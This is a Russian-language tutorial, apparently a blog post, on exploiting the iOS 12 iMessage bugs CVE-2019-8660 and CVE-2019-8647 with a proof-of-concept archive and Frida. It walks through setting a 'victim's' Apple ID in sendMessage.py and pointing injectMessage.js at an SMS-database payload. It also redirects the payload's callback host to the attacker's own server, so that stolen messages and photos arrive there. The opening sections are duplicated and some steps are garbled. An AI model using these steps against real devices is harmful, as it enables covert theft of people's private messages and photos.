Хочу разобрать такую тему как взлом iOS 12.
Введение (где все началось)
Уязвимость была обнаружена специалисткой из команды Google Project Zero. Ее имя Натали Сильванович. Данная уязвимость как утверждает исследовательница работает только на iOS 12. И описан как:
Вторая же недоработка аналогична первой, но позволяет выполнить произвольный код и представляет собой use after free уязвимость. И происходит все это на том же iPhone 5s.
Проникновение
Выше была у нас теория. Переходим к практике. Данная уязвимость позволит нам получить доступ к галереи телефона и смс-сообщениям. Приступим.
Что нужно:
Подготовка программ:
Для начало перезагрузим виртуальную машину. После переходим на сайт и регистрируемся, чтобы скачать файл. Далее нам нужно открыть наш архив (messageleak.zip) и увидить вот такой содержательный контент:
Последнии штрихи:
Переходим к нашей программе Frida. Скачиваем ее с сайта (frida-server-12.6.12-macos-x86_64.xz). После запускаем:

Введение (где все началось)
Уязвимость была обнаружена специалисткой из команды Google Project Zero. Ее имя Натали Сильванович. Данная уязвимость как утверждает исследовательница работает только на iOS 12. И описан как:
Простая демонстрация достижимости класса в Springboard. Реальные последствия [эксплуатации] бага, скорее всего, будут куда серьезнее.
Но давайте углубимся в это и узнаем о роствениках данной уязвимости. А именно:- CVE-2019-8660
- CVE-2019-8647
Вторая же недоработка аналогична первой, но позволяет выполнить произвольный код и представляет собой use after free уязвимость. И происходит все это на том же iPhone 5s.
Проникновение
Выше была у нас теория. Переходим к практике. Данная уязвимость позволит нам получить доступ к галереи телефона и смс-сообщениям. Приступим.
Что нужно:
- Виртуальная машина (Операционка macOS, версия Mojave 10.14)
- iPhone для тестирования
- Фреймоворк Frida
- Запускаем машину
- После зажимаем Win+R
- Пишем csrutil disable
Подготовка программ:
Для начало перезагрузим виртуальную машину. После переходим на сайт и регистрируемся, чтобы скачать файл. Далее нам нужно открыть наш архив (messageleak.zip) и увидить вот такой содержательный контент:
MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657
MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d
MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9
MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb
MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a
MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57
MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0
Теперь вносим правки в скрипт sendMessage.py. Объясняю почему. Там содержится Apple ID нашей жертвы (receiver). Данная команда выглядет так:receiver = "TARGET"
Теперь меняем значение TARGET на телефон жертвы или почту. Получается это примерно так:receiver = "[email protected]"
После заходим в файл injectMessage.js и меняем содержимое. Мы будем получать базу смс сообщений. Для этого воспользуемся нагрузкой obj_db. Исходный код без изменений выглядет так:var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");
Мы его преобразуем и получаем вот это:var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");
После в той же нагрузке obj_db меняем natashenka.party на адрес вашего сервера. Для получения ответа от нашего эксплоита. Последнии штрихи:
Переходим к нашей программе Frida. Скачиваем ее с сайта (frida-server-12.6.12-macos-x86_64.xz). После запускаем:
MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4
И пишем следующие команды:chmod +x frida-server-12.6.12-macos-x86_64
./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v
sudo easy_install pip
pip install frida-tools --user
И теперь запускаем:python sendMessage.py
В ходе работы будут запросы. Их мы разрешаем и ждем результатов, которые придут к вам на сервер. Удачи